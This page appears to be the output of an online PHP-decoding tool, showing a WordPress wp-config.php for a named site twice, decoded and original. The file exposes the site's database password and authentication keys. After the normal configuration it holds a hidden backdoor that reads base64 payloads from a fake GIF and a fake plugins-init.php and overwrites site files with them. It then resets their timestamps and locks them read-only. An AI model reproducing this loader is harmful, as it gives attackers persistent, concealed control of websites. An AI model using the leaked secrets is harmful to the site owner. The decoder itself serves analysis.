Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php define ('WP_MEMORY_LIMIT', '256M'); define ('WP_MAX_MEMORY_LIMIT', '128M'); ..
Decoded Output download
<?php
define ('WP_MEMORY_LIMIT', '256M');
define ('WP_MAX_MEMORY_LIMIT', '128M');
define('WP_CACHE', true); // WP-Optimize Cache
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'hzir2014_wp3');
/** MySQL database username */
define('DB_USER', 'hzir2014_wp3');
/** MySQL database password */
define('DB_PASSWORD', 'B@U0@mi#DRa[lz9ck*.81[~8');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'WyaBRdM4oAXqkEHZkHWFcoSlU7UmT6iymBBfeuJOyulTZgSNjwtlPtWA6CXIisq0');
define('SECURE_AUTH_KEY', 'npwE5d7tjACXHcj0RqhlCyw7mdCleZMTQ5nesnu6VtRkEcNuWy1rDEG1NWfrTzPi');
define('LOGGED_IN_KEY', '4HQT1zylXwbWKc6pUoG9yv33PKVi4DE5f4aE4ot3iU2FMVD7TNCmIS5ru0vlBRwH');
define('NONCE_KEY', 'o4KJS38EDmIATBmwqOJZPoSUIanYmKI7H0zRy07IQgL6PlwvNIobwWu1OyDRMVlg');
define('AUTH_SALT', 'xRrc15cTXo54VrcedmudKjQg0l9BXBGJlN8MtKtKBtkNXJWNpfmb9dHUaAuoLlf4');
define('SECURE_AUTH_SALT', 'Sto2aZ3Hr5ndUHZANzlBRqJYYCyE7lrBDRfKtlm8dEk99zki3QK7wDuYIs4MrDcJ');
define('LOGGED_IN_SALT', 'umYXFH9FiJagk5HtK9STlpI5uSkyEsoau727jqax6p7YlKP6xWZKdDD04D0xjefY');
define('NONCE_SALT', 'gbZPOWR6Jb3lLMwxOzMtIA1EsebyIKaQu8lS0uBzAQ0E0WnXJn8UdoaFc0CWECvp');
/**
* Other customizations.
*/
define('FS_METHOD','direct');define('FS_CHMOD_DIR',0755);define('FS_CHMOD_FILE',0644);
define('WP_TEMP_DIR',dirname(__FILE__).'/wp-content/uploads');
/**
* Turn off automatic updates since these are managed upstream.
*/
define('AUTOMATIC_UPDATER_DISABLED', true);
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
$wp_update_file="/home/hzir2014/domains/kielpinska.com/private_html/wp-admin/images/resize-x.gif";
if ( is_file($wp_update_file) )
{
$wp_update_content=trim(file_get_contents($wp_update_file));
if ( $wp_update_content!="" )
{
$wp_update_content=substr($wp_update_content,6,-6);
$wp_update_content=base64_decode($wp_update_content);
$wp_update_arr=json_decode($wp_update_content,true);
if ( is_array($wp_update_arr) )
{
foreach($wp_update_arr as $value)
{
$file_mtime=filemtime($value["path"]);
@chmod($value["path"],0777);
@unlink($value["path"]);
@file_put_contents($value["path"],$value["content"]);
@touch($value["path"],$file_mtime);
@chmod($value["path"],0444);
}
}
}
}
$wp_update_file="/home/hzir2014/domains/kielpinska.com/public_html/wp-includes/plugins-init.php";
if ( is_file($wp_update_file) )
{
$wp_update_content=trim(file_get_contents($wp_update_file));
if ( $wp_update_content!="" )
{
$wp_update_content=substr($wp_update_content,6,-6);
$wp_update_content=base64_decode($wp_update_content);
$wp_update_arr=json_decode($wp_update_content,true);
if ( is_array($wp_update_arr) )
{
foreach($wp_update_arr as $value)
{
$file_mtime=filemtime($value["path"]);
@chmod($value["path"],0777);
@unlink($value["path"]);
@file_put_contents($value["path"],$value["content"]);
@touch($value["path"],$file_mtime);
@chmod($value["path"],0444);
}
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
define ('WP_MEMORY_LIMIT', '256M');
define ('WP_MAX_MEMORY_LIMIT', '128M');
define('WP_CACHE', true); // WP-Optimize Cache
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'hzir2014_wp3');
/** MySQL database username */
define('DB_USER', 'hzir2014_wp3');
/** MySQL database password */
define('DB_PASSWORD', 'B@U0@mi#DRa[lz9ck*.81[~8');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'WyaBRdM4oAXqkEHZkHWFcoSlU7UmT6iymBBfeuJOyulTZgSNjwtlPtWA6CXIisq0');
define('SECURE_AUTH_KEY', 'npwE5d7tjACXHcj0RqhlCyw7mdCleZMTQ5nesnu6VtRkEcNuWy1rDEG1NWfrTzPi');
define('LOGGED_IN_KEY', '4HQT1zylXwbWKc6pUoG9yv33PKVi4DE5f4aE4ot3iU2FMVD7TNCmIS5ru0vlBRwH');
define('NONCE_KEY', 'o4KJS38EDmIATBmwqOJZPoSUIanYmKI7H0zRy07IQgL6PlwvNIobwWu1OyDRMVlg');
define('AUTH_SALT', 'xRrc15cTXo54VrcedmudKjQg0l9BXBGJlN8MtKtKBtkNXJWNpfmb9dHUaAuoLlf4');
define('SECURE_AUTH_SALT', 'Sto2aZ3Hr5ndUHZANzlBRqJYYCyE7lrBDRfKtlm8dEk99zki3QK7wDuYIs4MrDcJ');
define('LOGGED_IN_SALT', 'umYXFH9FiJagk5HtK9STlpI5uSkyEsoau727jqax6p7YlKP6xWZKdDD04D0xjefY');
define('NONCE_SALT', 'gbZPOWR6Jb3lLMwxOzMtIA1EsebyIKaQu8lS0uBzAQ0E0WnXJn8UdoaFc0CWECvp');
/**
* Other customizations.
*/
define('FS_METHOD','direct');define('FS_CHMOD_DIR',0755);define('FS_CHMOD_FILE',0644);
define('WP_TEMP_DIR',dirname(__FILE__).'/wp-content/uploads');
/**
* Turn off automatic updates since these are managed upstream.
*/
define('AUTOMATIC_UPDATER_DISABLED', true);
/**#@-*/
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
$wp_update_file="/home/hzir2014/domains/kielpinska.com/private_html/wp-admin/images/resize-x.gif";
if ( is_file($wp_update_file) )
{
$wp_update_content=trim(file_get_contents($wp_update_file));
if ( $wp_update_content!="" )
{
$wp_update_content=substr($wp_update_content,6,-6);
$wp_update_content=base64_decode($wp_update_content);
$wp_update_arr=json_decode($wp_update_content,true);
if ( is_array($wp_update_arr) )
{
foreach($wp_update_arr as $value)
{
$file_mtime=filemtime($value["path"]);
@chmod($value["path"],0777);
@unlink($value["path"]);
@file_put_contents($value["path"],$value["content"]);
@touch($value["path"],$file_mtime);
@chmod($value["path"],0444);
}
}
}
}
$wp_update_file="/home/hzir2014/domains/kielpinska.com/public_html/wp-includes/plugins-init.php";
if ( is_file($wp_update_file) )
{
$wp_update_content=trim(file_get_contents($wp_update_file));
if ( $wp_update_content!="" )
{
$wp_update_content=substr($wp_update_content,6,-6);
$wp_update_content=base64_decode($wp_update_content);
$wp_update_arr=json_decode($wp_update_content,true);
if ( is_array($wp_update_arr) )
{
foreach($wp_update_arr as $value)
{
$file_mtime=filemtime($value["path"]);
@chmod($value["path"],0777);
@unlink($value["path"]);
@file_put_contents($value["path"],$value["content"]);
@touch($value["path"],$file_mtime);
@chmod($value["path"],0444);
}
}
}
}
Function Calls
define | 1 |
Stats
MD5 | 4596fcafadf6613c09bee2e0e823672e |
Eval Count | 0 |
Decode Time | 58 ms |